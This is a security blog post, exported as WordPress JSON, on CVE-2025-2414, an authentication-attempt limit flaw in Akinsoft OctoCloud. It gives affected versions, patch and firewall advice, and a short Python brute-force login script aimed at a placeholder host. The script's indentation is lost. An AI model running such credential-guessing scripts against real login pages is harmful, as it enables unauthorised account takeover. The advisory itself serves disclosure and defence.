{"id":72772,"date":"2025-09-08T02:12:48","date_gmt":"2025-09-08T02:12:48","guid":{"rendered":""},"modified":"2025-10-28T22:21:48","modified_gmt":"2025-10-29T04:21:48","slug":"cve-2025-2414-bypass-authentication-vulnerability-in-akinsoft-octocloud","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-2414-bypass-authentication-vulnerability-in-akinsoft-octocloud\/","title":{"rendered":"<strong>CVE-2025-2414: Bypass Authentication Vulnerability in Akinsoft OctoCloud<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is constantly evolving, with new vulnerabilities emerging daily. One such vulnerability, tagged as CVE-2025-2414, has been discovered in Akinsoft&#8217;s OctoCloud software. OctoCloud, a popular cloud management solution, is widely used, making this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8913-critical-local-file-inclusion-vulnerability-in-wellchoose-s-organization-portal-system\/\"  data-wpil-monitor-id=\"82425\">vulnerability a serious concern for a large number of organizations<\/a>. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80786\">vulnerability allows<\/a> an attacker to bypass the authentication process, gaining unauthorized access to sensitive data. As such, it is critical for all OctoCloud users to understand the details of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53192-critical-vulnerability-in-unsupported-apache-commons-ognl-leads-to-potential-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"80572\">vulnerability<\/a> and how to mitigate its potential impact.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-2414<br \/>\nSeverity: High &#8211; CVSS Score 8.6<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5997-privileged-api-misuse-leads-to-potential-system-compromise-in-beamsec-phishpro\/\"  data-wpil-monitor-id=\"80827\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3986683947\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Akinsoft OctoCloud | s1.09.03 &#8211; v1.11.01<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The CVE-2025-2414 <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46414-unlimited-pin-attempts-vulnerability-in-api\/\"  data-wpil-monitor-id=\"81189\">vulnerability stems from an &#8220;Improper Restriction of Excessive Authentication Attempts&#8221;<\/a> in Akinsoft&#8217;s OctoCloud software. This means that the software does not properly limit or restrict the number of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5821-critical-authentication-bypass-vulnerability-in-case-theme-user-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"83258\">authentication attempts that a user<\/a> can make. Attackers can exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48164-privilege-escalation-vulnerability-in-brainstorm-force-suredash\/\"  data-wpil-monitor-id=\"81122\">vulnerability to perform a brute force<\/a> attack, trying numerous combinations of usernames and passwords until they eventually gain access.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-382620298\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how the vulnerability might be exploited using a brute force attack:<\/p>\n<pre><code class=\"\" data-line=\"\">import requests\nhost = &#039;target.example.com&#039;\nusername_list = [&#039;admin&#039;, &#039;root&#039;, &#039;user&#039;]\npassword_list = [&#039;123456&#039;, &#039;password&#039;, &#039;admin123&#039;]\nfor username in username_list:\nfor password in password_list:\npayload = {&#039;username&#039;: username, &#039;password&#039;: password}\nresponse = requests.post(f&#039;http:\/\/{host}\/login&#039;, data=payload)\nif response.status_code == 200:\nprint(f&#039;Successfully logged in with {username}:{password}&#039;)\nbreak<\/code><\/pre>\n<p>This example uses a script to send POST requests to the login endpoint of the target server. The script attempts to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32706-windows-common-log-file-system-driver-privilege-elevation-vulnerability\/\"  data-wpil-monitor-id=\"91761\">log in using a list of common<\/a> usernames and passwords, continuing until it receives a successful response.<\/p>\n<p><strong>Mitigation Measures<\/strong><\/p>\n<p>The vendor, Akinsoft, has <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-35115-critical-system-package-download-vulnerability-in-agiloft-release-28\/\"  data-wpil-monitor-id=\"85315\">released a patch to resolve this vulnerability<\/a>. Users are urged to apply this patch immediately. If the patch cannot be applied immediately, users should consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to temporarily mitigate the vulnerability. These systems can help detect and prevent brute force attacks by limiting the number of login attempts from a single source.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is constantly evolving, with new vulnerabilities emerging daily. One such vulnerability, tagged as CVE-2025-2414, has been discovered in Akinsoft&#8217;s OctoCloud software. OctoCloud, a popular cloud management solution, is widely used, making this vulnerability a serious concern for a large number of organizations. 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